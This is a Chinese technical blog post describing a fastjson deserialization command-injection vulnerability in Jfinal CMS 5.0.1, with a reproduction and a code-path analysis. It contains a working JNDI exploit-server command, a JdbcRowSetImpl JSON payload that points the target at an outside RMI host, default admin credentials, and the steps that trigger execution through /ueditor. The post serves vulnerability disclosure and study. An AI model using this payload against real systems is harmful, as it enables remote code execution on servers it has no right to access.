首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >Jfinal CMS命令注入漏洞

Jfinal CMS命令注入漏洞

作者头像
用砖头敲代码
发布2022-11-22 14:33:14
发布2022-11-22 14:33:14
3.5K00
代码可运行
举报
文章被收录于专栏:用砖头敲代码用砖头敲代码
运行总次数:0
代码可运行

漏洞环境

jfinal_cms 5.0.1 中存在命令执行漏洞

JDK 版本要求:

  • 基于 RMI<=6u141、7u131、8u121 使用的 JDK 版本
  • 基于 LDAP<=6u211、7u201、8u191 使用的 JDK 版本。

jfinal_cms版本:5.0.1 fastjson版本:1.2.28

漏洞复用

测试中使用的JDK版本:JDK8u101

在 kali 上运行该工具,启动 rmi 和 ldap 服务 https://github.com/feihong-cs/JNDIExploit

代码语言:javascript
代码运行次数:0
运行
复制
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe"

替换payload中的rmi或ldap地址,然后保存到config.json

代码语言:javascript
代码运行次数:0
运行
复制
{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.248.128:1099/6dxg2x",
        "autoCommit":true
    }
}

登录后台,找到模板管理,后台默认账号密码admin/admin123456

找到config.json并点击,之后点replace file

把刚才做好的payload上传

访问 /ueditor,就会执行命令并弹出计算器

代码语言:javascript
代码运行次数:0
运行
复制
http://localhost:8080/jfinal_cms/ueditor

利用成功,散会!

漏洞分析

com.jflyfox.component.controller.Ueditor ActionEnter类在/ueditor路由的index方法中实例化

com.baidu.ueditor.ActionEnter

ActionEnter类的构造方法中实例化

com.baidu.ueditor.ConfigManager

ConfigManager调用的构造方法initEnv()

com.baidu.ueditor.ConfigManager

initEnv调用JSONObject.parseObject来解析文件内容,这里的文件内容是可控的,只需将文件内容替换为payload即可

com.baidu.ueditor.ConfigManager

如果后台存在任何文件上传漏洞,则可以将此文件替换为包含payload的文件,以触发 fastjson 反序列化WEB-INF/classes/config.json

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 漏洞环境
  • 漏洞复用
  • 漏洞分析
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档